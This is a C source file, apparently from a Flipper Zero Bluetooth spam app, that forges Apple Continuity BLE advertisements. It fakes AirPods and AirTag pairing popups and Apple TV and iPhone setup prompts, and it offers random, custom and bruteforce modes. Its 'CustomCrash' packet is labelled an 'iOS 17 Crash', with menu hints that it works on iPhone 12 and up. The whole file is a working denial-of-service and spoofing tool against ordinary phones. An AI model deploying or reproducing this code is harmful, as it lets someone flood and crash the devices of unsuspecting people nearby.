continuity.c 30 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. const struct {
  8. uint16_t value;
  9. const char* name;
  10. } pp_models[] = {
  11. {0x0E20, "AirPods Pro"},
  12. {0x0620, "Beats Solo 3"},
  13. {0x0A20, "AirPods Max"},
  14. {0x1020, "Beats Flex"},
  15. {0x0055, "Airtag"},
  16. {0x0030, "Hermes Airtag"},
  17. {0x0220, "AirPods"},
  18. {0x0F20, "AirPods 2nd Gen"},
  19. {0x1320, "AirPods 3rd Gen"},
  20. {0x1420, "AirPods Pro 2nd Gen"},
  21. {0x0320, "Powerbeats 3"},
  22. {0x0B20, "Powerbeats Pro"},
  23. {0x0C20, "Beats Solo Pro"},
  24. {0x1120, "Beats Studio Buds"},
  25. {0x0520, "Beats X"},
  26. {0x0920, "Beats Studio 3"},
  27. {0x1720, "Beats Studio Pro"},
  28. {0x1220, "Beats Fit Pro"},
  29. {0x1620, "Beats Studio Buds+"},
  30. };
  31. const uint8_t pp_models_count = COUNT_OF(pp_models);
  32. const struct {
  33. uint8_t value;
  34. const char* name;
  35. } pp_prefixes[] = {
  36. {0x01, "New Device"},
  37. {0x07, "Not Your Device"},
  38. {0x05, "New Airtag"},
  39. };
  40. const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  41. const struct {
  42. uint8_t value;
  43. const char* name;
  44. } na_actions[] = {
  45. {0x13, "AppleTV AutoFill"},
  46. {0x27, "AppleTV Connecting..."},
  47. {0x20, "Join This AppleTV?"},
  48. {0x19, "AppleTV Audio Sync"},
  49. {0x1E, "AppleTV Color Balance"},
  50. {0x09, "Setup New iPhone"},
  51. {0x02, "Transfer Phone Number"},
  52. {0x0B, "HomePod Setup"},
  53. {0x01, "Setup New AppleTV"},
  54. {0x06, "Pair AppleTV"},
  55. {0x0D, "HomeKit AppleTV Setup"},
  56. {0x2B, "AppleID for AppleTV?"},
  57. };
  58. const uint8_t na_actions_count = COUNT_OF(na_actions);
  59. static const char* type_names[ContinuityTypeCOUNT] = {
  60. [ContinuityTypeAirDrop] = "AirDrop",
  61. [ContinuityTypeProximityPair] = "Continuity Pair",
  62. [ContinuityTypeAirplayTarget] = "Airplay Target",
  63. [ContinuityTypeHandoff] = "Handoff",
  64. [ContinuityTypeTetheringSource] = "Tethering Source",
  65. [ContinuityTypeNearbyAction] = "Continuity Action",
  66. [ContinuityTypeNearbyInfo] = "Nearby Info",
  67. [ContinuityTypeCustomCrash] = "Continuity Custom",
  68. };
  69. static const char* get_name(const Payload* payload) {
  70. const ContinuityCfg* cfg = &payload->cfg.continuity;
  71. return type_names[cfg->type];
  72. }
  73. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  74. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  75. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  76. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  77. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  78. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  79. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  80. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  81. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  82. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  83. };
  84. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  85. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  86. ContinuityType type;
  87. if(cfg && cfg->type != 0x00) {
  88. type = cfg->type;
  89. } else {
  90. const ContinuityType types[] = {
  91. ContinuityTypeProximityPair,
  92. ContinuityTypeNearbyAction,
  93. ContinuityTypeCustomCrash,
  94. };
  95. type = types[rand() % COUNT_OF(types)];
  96. }
  97. uint8_t size = packet_sizes[type];
  98. uint8_t* packet = malloc(size);
  99. uint8_t i = 0;
  100. packet[i++] = size - 1; // Size
  101. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  102. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  103. packet[i++] = 0x00; // ...
  104. packet[i++] = type; // Continuity Type
  105. packet[i] = size - i - 1; // Continuity Size
  106. i++;
  107. switch(type) {
  108. case ContinuityTypeAirDrop: {
  109. packet[i++] = 0x00; // Zeros
  110. packet[i++] = 0x00; // ...
  111. packet[i++] = 0x00; // ...
  112. packet[i++] = 0x00; // ...
  113. packet[i++] = 0x00; // ...
  114. packet[i++] = 0x00; // ...
  115. packet[i++] = 0x00; // ...
  116. packet[i++] = 0x00; // ...
  117. packet[i++] = 0x01; // Version
  118. packet[i++] = (rand() % 256); // AppleID
  119. packet[i++] = (rand() % 256); // ...
  120. packet[i++] = (rand() % 256); // Phone Number
  121. packet[i++] = (rand() % 256); // ...
  122. packet[i++] = (rand() % 256); // Email
  123. packet[i++] = (rand() % 256); // ...
  124. packet[i++] = (rand() % 256); // Email2
  125. packet[i++] = (rand() % 256); // ...
  126. packet[i++] = 0x00; // Zero
  127. break;
  128. }
  129. case ContinuityTypeProximityPair: {
  130. uint16_t model;
  131. switch(payload ? payload->mode : PayloadModeRandom) {
  132. case PayloadModeRandom:
  133. default:
  134. model = pp_models[rand() % pp_models_count].value;
  135. break;
  136. case PayloadModeValue:
  137. model = cfg->data.proximity_pair.model;
  138. break;
  139. case PayloadModeBruteforce:
  140. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  141. break;
  142. }
  143. uint8_t prefix;
  144. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  145. prefix = cfg->data.proximity_pair.prefix;
  146. } else {
  147. if(model == 0x0055 || model == 0x0030)
  148. prefix = 0x05;
  149. else
  150. prefix = 0x01;
  151. }
  152. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  153. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  154. packet[i++] = (model >> 0x00) & 0xFF; // ...
  155. packet[i++] = 0x55; // Status
  156. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  157. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  158. packet[i++] = (rand() % 256); // Lid Open Counter
  159. packet[i++] = 0x00; // Device Color
  160. packet[i++] = 0x00;
  161. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  162. i += 16;
  163. break;
  164. }
  165. case ContinuityTypeAirplayTarget: {
  166. packet[i++] = (rand() % 256); // Flags
  167. packet[i++] = (rand() % 256); // Configuration Seed
  168. packet[i++] = (rand() % 256); // IPv4 Address
  169. packet[i++] = (rand() % 256); // ...
  170. packet[i++] = (rand() % 256); // ...
  171. packet[i++] = (rand() % 256); // ...
  172. break;
  173. }
  174. case ContinuityTypeHandoff: {
  175. packet[i++] = 0x01; // Version
  176. packet[i++] = (rand() % 256); // Initialization Vector
  177. packet[i++] = (rand() % 256); // ...
  178. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  179. packet[i++] = (rand() % 256); // Encrypted Payload
  180. packet[i++] = (rand() % 256); // ...
  181. packet[i++] = (rand() % 256); // ...
  182. packet[i++] = (rand() % 256); // ...
  183. packet[i++] = (rand() % 256); // ...
  184. packet[i++] = (rand() % 256); // ...
  185. packet[i++] = (rand() % 256); // ...
  186. packet[i++] = (rand() % 256); // ...
  187. packet[i++] = (rand() % 256); // ...
  188. packet[i++] = (rand() % 256); // ...
  189. break;
  190. }
  191. case ContinuityTypeTetheringSource: {
  192. packet[i++] = 0x01; // Version
  193. packet[i++] = (rand() % 256); // Flags
  194. packet[i++] = (rand() % 101); // Battery Life
  195. packet[i++] = 0x00; // Cell Service Type
  196. packet[i++] = (rand() % 8); // ...
  197. packet[i++] = (rand() % 5); // Cell Service Strength
  198. break;
  199. }
  200. case ContinuityTypeNearbyAction: {
  201. uint8_t action;
  202. switch(payload ? payload->mode : PayloadModeRandom) {
  203. case PayloadModeRandom:
  204. default:
  205. action = na_actions[rand() % na_actions_count].value;
  206. break;
  207. case PayloadModeValue:
  208. action = cfg->data.nearby_action.action;
  209. break;
  210. case PayloadModeBruteforce:
  211. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  212. break;
  213. }
  214. uint8_t flags;
  215. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  216. flags = cfg->data.nearby_action.flags;
  217. } else {
  218. flags = 0xC0;
  219. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  220. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  221. }
  222. packet[i++] = flags; // Action Flags
  223. packet[i++] = action; // Action Type
  224. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  225. i += 3;
  226. break;
  227. }
  228. case ContinuityTypeNearbyInfo: {
  229. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  230. packet[i++] = (rand() % 256); // Status Flags
  231. packet[i++] = (rand() % 256); // Authentication Tag
  232. packet[i++] = (rand() % 256); // ...
  233. packet[i++] = (rand() % 256); // ...
  234. break;
  235. }
  236. case ContinuityTypeCustomCrash: {
  237. // Found by @ECTO-1A
  238. uint8_t action = na_actions[rand() % na_actions_count].value;
  239. uint8_t flags = 0xC0;
  240. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  241. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  242. i -= 2; // Override segment header
  243. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  244. packet[i++] = 5; // Continuity Size
  245. packet[i++] = flags; // Action Flags
  246. packet[i++] = action; // Action Type
  247. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  248. i += 3;
  249. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  250. packet[i++] = 0x00; // ...
  251. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  252. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  253. i += 3;
  254. break;
  255. }
  256. default:
  257. break;
  258. }
  259. *_size = size;
  260. *_packet = packet;
  261. }
  262. enum {
  263. _ConfigPpExtraStart = ConfigExtraStart,
  264. ConfigPpModel,
  265. ConfigPpPrefix,
  266. ConfigPpCOUNT,
  267. };
  268. enum {
  269. _ConfigNaExtraStart = ConfigExtraStart,
  270. ConfigNaAction,
  271. ConfigNaFlags,
  272. ConfigNaCOUNT,
  273. };
  274. enum {
  275. _ConfigCcExtraStart = ConfigExtraStart,
  276. ConfigCcInfoLock,
  277. ConfigCcInfoDevice,
  278. ConfigCcCOUNT,
  279. };
  280. static void config_callback(void* _ctx, uint32_t index) {
  281. Ctx* ctx = _ctx;
  282. Payload* payload = &ctx->attack->payload;
  283. ContinuityCfg* cfg = &payload->cfg.continuity;
  284. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  285. switch(cfg->type) {
  286. case ContinuityTypeProximityPair: {
  287. switch(index) {
  288. case ConfigPpModel:
  289. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  290. break;
  291. case ConfigPpPrefix:
  292. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  293. break;
  294. default:
  295. ctx->fallback_config_enter(ctx, index);
  296. break;
  297. }
  298. break;
  299. }
  300. case ContinuityTypeNearbyAction: {
  301. switch(index) {
  302. case ConfigNaAction:
  303. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  304. break;
  305. case ConfigNaFlags:
  306. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  307. break;
  308. default:
  309. ctx->fallback_config_enter(ctx, index);
  310. break;
  311. }
  312. break;
  313. }
  314. case ContinuityTypeCustomCrash: {
  315. switch(index) {
  316. case ConfigCcInfoLock:
  317. case ConfigCcInfoDevice:
  318. break;
  319. default:
  320. ctx->fallback_config_enter(ctx, index);
  321. break;
  322. }
  323. break;
  324. }
  325. default:
  326. ctx->fallback_config_enter(ctx, index);
  327. break;
  328. }
  329. }
  330. static void pp_model_changed(VariableItem* item) {
  331. Payload* payload = variable_item_get_context(item);
  332. ContinuityCfg* cfg = &payload->cfg.continuity;
  333. uint8_t index = variable_item_get_current_value_index(item);
  334. if(index) {
  335. index--;
  336. payload->mode = PayloadModeValue;
  337. cfg->data.proximity_pair.model = pp_models[index].value;
  338. variable_item_set_current_value_text(item, pp_models[index].name);
  339. } else {
  340. payload->mode = PayloadModeRandom;
  341. variable_item_set_current_value_text(item, "Random");
  342. }
  343. }
  344. static void pp_prefix_changed(VariableItem* item) {
  345. Payload* payload = variable_item_get_context(item);
  346. ContinuityCfg* cfg = &payload->cfg.continuity;
  347. uint8_t index = variable_item_get_current_value_index(item);
  348. if(index) {
  349. index--;
  350. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  351. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  352. } else {
  353. cfg->data.proximity_pair.prefix = 0x00;
  354. variable_item_set_current_value_text(item, "Auto");
  355. }
  356. }
  357. static void na_action_changed(VariableItem* item) {
  358. Payload* payload = variable_item_get_context(item);
  359. ContinuityCfg* cfg = &payload->cfg.continuity;
  360. uint8_t index = variable_item_get_current_value_index(item);
  361. if(index) {
  362. index--;
  363. payload->mode = PayloadModeValue;
  364. cfg->data.nearby_action.action = na_actions[index].value;
  365. variable_item_set_current_value_text(item, na_actions[index].name);
  366. } else {
  367. payload->mode = PayloadModeRandom;
  368. variable_item_set_current_value_text(item, "Random");
  369. }
  370. }
  371. static void extra_config(Ctx* ctx) {
  372. Payload* payload = &ctx->attack->payload;
  373. ContinuityCfg* cfg = &payload->cfg.continuity;
  374. VariableItemList* list = ctx->variable_item_list;
  375. VariableItem* item;
  376. size_t value_index;
  377. switch(cfg->type) {
  378. case ContinuityTypeProximityPair: {
  379. item = variable_item_list_add(
  380. list, "Model Code", pp_models_count + 1, pp_model_changed, payload);
  381. const char* model_name = NULL;
  382. char model_name_buf[5];
  383. switch(payload->mode) {
  384. case PayloadModeRandom:
  385. default:
  386. model_name = "Random";
  387. value_index = 0;
  388. break;
  389. case PayloadModeValue:
  390. for(uint8_t i = 0; i < pp_models_count; i++) {
  391. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  392. model_name = pp_models[i].name;
  393. value_index = i + 1;
  394. break;
  395. }
  396. }
  397. if(!model_name) {
  398. snprintf(
  399. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  400. model_name = model_name_buf;
  401. value_index = pp_models_count + 1;
  402. }
  403. break;
  404. case PayloadModeBruteforce:
  405. model_name = "Bruteforce";
  406. value_index = pp_models_count + 1;
  407. break;
  408. }
  409. variable_item_set_current_value_index(item, value_index);
  410. variable_item_set_current_value_text(item, model_name);
  411. item = variable_item_list_add(
  412. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  413. const char* prefix_name = NULL;
  414. char prefix_name_buf[3];
  415. if(cfg->data.proximity_pair.prefix == 0x00) {
  416. prefix_name = "Auto";
  417. value_index = 0;
  418. } else {
  419. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  420. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  421. prefix_name = pp_prefixes[i].name;
  422. value_index = i + 1;
  423. break;
  424. }
  425. }
  426. if(!prefix_name) {
  427. snprintf(
  428. prefix_name_buf,
  429. sizeof(prefix_name_buf),
  430. "%02X",
  431. cfg->data.proximity_pair.prefix);
  432. prefix_name = prefix_name_buf;
  433. value_index = pp_prefixes_count + 1;
  434. }
  435. }
  436. variable_item_set_current_value_index(item, value_index);
  437. variable_item_set_current_value_text(item, prefix_name);
  438. break;
  439. }
  440. case ContinuityTypeNearbyAction: {
  441. item = variable_item_list_add(
  442. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  443. const char* action_name = NULL;
  444. char action_name_buf[3];
  445. switch(payload->mode) {
  446. case PayloadModeRandom:
  447. default:
  448. action_name = "Random";
  449. value_index = 0;
  450. break;
  451. case PayloadModeValue:
  452. for(uint8_t i = 0; i < na_actions_count; i++) {
  453. if(cfg->data.nearby_action.action == na_actions[i].value) {
  454. action_name = na_actions[i].name;
  455. value_index = i + 1;
  456. break;
  457. }
  458. }
  459. if(!action_name) {
  460. snprintf(
  461. action_name_buf,
  462. sizeof(action_name_buf),
  463. "%02X",
  464. cfg->data.nearby_action.action);
  465. action_name = action_name_buf;
  466. value_index = na_actions_count + 1;
  467. }
  468. break;
  469. case PayloadModeBruteforce:
  470. action_name = "Bruteforce";
  471. value_index = na_actions_count + 1;
  472. break;
  473. }
  474. variable_item_set_current_value_index(item, value_index);
  475. variable_item_set_current_value_text(item, action_name);
  476. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  477. const char* flags_name = NULL;
  478. char flags_name_buf[3];
  479. if(cfg->data.nearby_action.flags == 0x00) {
  480. flags_name = "Auto";
  481. } else {
  482. snprintf(
  483. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  484. flags_name = flags_name_buf;
  485. }
  486. variable_item_set_current_value_text(item, flags_name);
  487. break;
  488. }
  489. case ContinuityTypeCustomCrash: {
  490. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  491. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  492. break;
  493. }
  494. default:
  495. break;
  496. }
  497. variable_item_list_set_enter_callback(list, config_callback, ctx);
  498. }
  499. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  500. [ContinuityTypeAirDrop] = 0,
  501. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  502. [ContinuityTypeAirplayTarget] = 0,
  503. [ContinuityTypeHandoff] = 0,
  504. [ContinuityTypeTetheringSource] = 0,
  505. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  506. [ContinuityTypeNearbyInfo] = 0,
  507. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  508. };
  509. static uint8_t config_count(const Payload* payload) {
  510. const ContinuityCfg* cfg = &payload->cfg.continuity;
  511. return config_counts[cfg->type];
  512. }
  513. const Protocol protocol_continuity = {
  514. .icon = &I_apple,
  515. .get_name = get_name,
  516. .make_packet = make_packet,
  517. .extra_config = extra_config,
  518. .config_count = config_count,
  519. };
  520. static void pp_model_callback(void* _ctx, uint32_t index) {
  521. Ctx* ctx = _ctx;
  522. Payload* payload = &ctx->attack->payload;
  523. ContinuityCfg* cfg = &payload->cfg.continuity;
  524. switch(index) {
  525. case 0:
  526. payload->mode = PayloadModeRandom;
  527. scene_manager_previous_scene(ctx->scene_manager);
  528. break;
  529. case pp_models_count + 1:
  530. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  531. break;
  532. case pp_models_count + 2:
  533. payload->mode = PayloadModeBruteforce;
  534. payload->bruteforce.counter = 0;
  535. payload->bruteforce.value = cfg->data.proximity_pair.model;
  536. payload->bruteforce.size = 2;
  537. scene_manager_previous_scene(ctx->scene_manager);
  538. break;
  539. default:
  540. payload->mode = PayloadModeValue;
  541. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  542. scene_manager_previous_scene(ctx->scene_manager);
  543. break;
  544. }
  545. }
  546. void scene_continuity_pp_model_on_enter(void* _ctx) {
  547. Ctx* ctx = _ctx;
  548. Payload* payload = &ctx->attack->payload;
  549. ContinuityCfg* cfg = &payload->cfg.continuity;
  550. Submenu* submenu = ctx->submenu;
  551. uint32_t selected = 0;
  552. submenu_reset(submenu);
  553. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  554. if(payload->mode == PayloadModeRandom) {
  555. selected = 0;
  556. }
  557. bool found = false;
  558. for(uint8_t i = 0; i < pp_models_count; i++) {
  559. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  560. if(!found && payload->mode == PayloadModeValue &&
  561. cfg->data.proximity_pair.model == pp_models[i].value) {
  562. found = true;
  563. selected = i + 1;
  564. }
  565. }
  566. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  567. if(!found && payload->mode == PayloadModeValue) {
  568. selected = pp_models_count + 1;
  569. }
  570. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  571. if(payload->mode == PayloadModeBruteforce) {
  572. selected = pp_models_count + 2;
  573. }
  574. submenu_set_selected_item(submenu, selected);
  575. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  576. }
  577. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  578. UNUSED(_ctx);
  579. UNUSED(event);
  580. return false;
  581. }
  582. void scene_continuity_pp_model_on_exit(void* _ctx) {
  583. UNUSED(_ctx);
  584. }
  585. static void pp_model_custom_callback(void* _ctx) {
  586. Ctx* ctx = _ctx;
  587. Payload* payload = &ctx->attack->payload;
  588. ContinuityCfg* cfg = &payload->cfg.continuity;
  589. payload->mode = PayloadModeValue;
  590. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  591. scene_manager_previous_scene(ctx->scene_manager);
  592. scene_manager_previous_scene(ctx->scene_manager);
  593. }
  594. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  595. Ctx* ctx = _ctx;
  596. Payload* payload = &ctx->attack->payload;
  597. ContinuityCfg* cfg = &payload->cfg.continuity;
  598. ByteInput* byte_input = ctx->byte_input;
  599. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  600. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  601. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  602. byte_input_set_result_callback(
  603. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  604. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  605. }
  606. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  607. UNUSED(_ctx);
  608. UNUSED(event);
  609. return false;
  610. }
  611. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  612. UNUSED(_ctx);
  613. }
  614. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  615. Ctx* ctx = _ctx;
  616. Payload* payload = &ctx->attack->payload;
  617. ContinuityCfg* cfg = &payload->cfg.continuity;
  618. switch(index) {
  619. case 0:
  620. cfg->data.proximity_pair.prefix = 0x00;
  621. scene_manager_previous_scene(ctx->scene_manager);
  622. break;
  623. case pp_prefixes_count + 1:
  624. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  625. break;
  626. default:
  627. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  628. scene_manager_previous_scene(ctx->scene_manager);
  629. break;
  630. }
  631. }
  632. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  633. Ctx* ctx = _ctx;
  634. Payload* payload = &ctx->attack->payload;
  635. ContinuityCfg* cfg = &payload->cfg.continuity;
  636. Submenu* submenu = ctx->submenu;
  637. uint32_t selected = 0;
  638. bool found = false;
  639. submenu_reset(submenu);
  640. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  641. if(cfg->data.proximity_pair.prefix == 0x00) {
  642. found = true;
  643. selected = 0;
  644. }
  645. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  646. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  647. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  648. found = true;
  649. selected = i + 1;
  650. }
  651. }
  652. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  653. if(!found) {
  654. selected = pp_prefixes_count + 1;
  655. }
  656. submenu_set_selected_item(submenu, selected);
  657. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  658. }
  659. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  660. UNUSED(_ctx);
  661. UNUSED(event);
  662. return false;
  663. }
  664. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  665. UNUSED(_ctx);
  666. }
  667. static void pp_prefix_custom_callback(void* _ctx) {
  668. Ctx* ctx = _ctx;
  669. Payload* payload = &ctx->attack->payload;
  670. ContinuityCfg* cfg = &payload->cfg.continuity;
  671. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  672. scene_manager_previous_scene(ctx->scene_manager);
  673. scene_manager_previous_scene(ctx->scene_manager);
  674. }
  675. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  676. Ctx* ctx = _ctx;
  677. Payload* payload = &ctx->attack->payload;
  678. ContinuityCfg* cfg = &payload->cfg.continuity;
  679. ByteInput* byte_input = ctx->byte_input;
  680. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  681. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  682. byte_input_set_result_callback(
  683. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  684. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  685. }
  686. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  687. UNUSED(_ctx);
  688. UNUSED(event);
  689. return false;
  690. }
  691. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  692. UNUSED(_ctx);
  693. }
  694. static void na_action_callback(void* _ctx, uint32_t index) {
  695. Ctx* ctx = _ctx;
  696. Payload* payload = &ctx->attack->payload;
  697. ContinuityCfg* cfg = &payload->cfg.continuity;
  698. switch(index) {
  699. case 0:
  700. payload->mode = PayloadModeRandom;
  701. scene_manager_previous_scene(ctx->scene_manager);
  702. break;
  703. case na_actions_count + 1:
  704. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  705. break;
  706. case na_actions_count + 2:
  707. payload->mode = PayloadModeBruteforce;
  708. payload->bruteforce.counter = 0;
  709. payload->bruteforce.value = cfg->data.nearby_action.action;
  710. payload->bruteforce.size = 1;
  711. scene_manager_previous_scene(ctx->scene_manager);
  712. break;
  713. default:
  714. payload->mode = PayloadModeValue;
  715. cfg->data.nearby_action.action = na_actions[index - 1].value;
  716. scene_manager_previous_scene(ctx->scene_manager);
  717. break;
  718. }
  719. }
  720. void scene_continuity_na_action_on_enter(void* _ctx) {
  721. Ctx* ctx = _ctx;
  722. Payload* payload = &ctx->attack->payload;
  723. ContinuityCfg* cfg = &payload->cfg.continuity;
  724. Submenu* submenu = ctx->submenu;
  725. uint32_t selected = 0;
  726. submenu_reset(submenu);
  727. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  728. if(payload->mode == PayloadModeRandom) {
  729. selected = 0;
  730. }
  731. bool found = false;
  732. for(uint8_t i = 0; i < na_actions_count; i++) {
  733. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  734. if(!found && payload->mode == PayloadModeValue &&
  735. cfg->data.nearby_action.action == na_actions[i].value) {
  736. found = true;
  737. selected = i + 1;
  738. }
  739. }
  740. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  741. if(!found && payload->mode == PayloadModeValue) {
  742. selected = na_actions_count + 1;
  743. }
  744. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  745. if(payload->mode == PayloadModeBruteforce) {
  746. selected = na_actions_count + 2;
  747. }
  748. submenu_set_selected_item(submenu, selected);
  749. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  750. }
  751. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  752. UNUSED(_ctx);
  753. UNUSED(event);
  754. return false;
  755. }
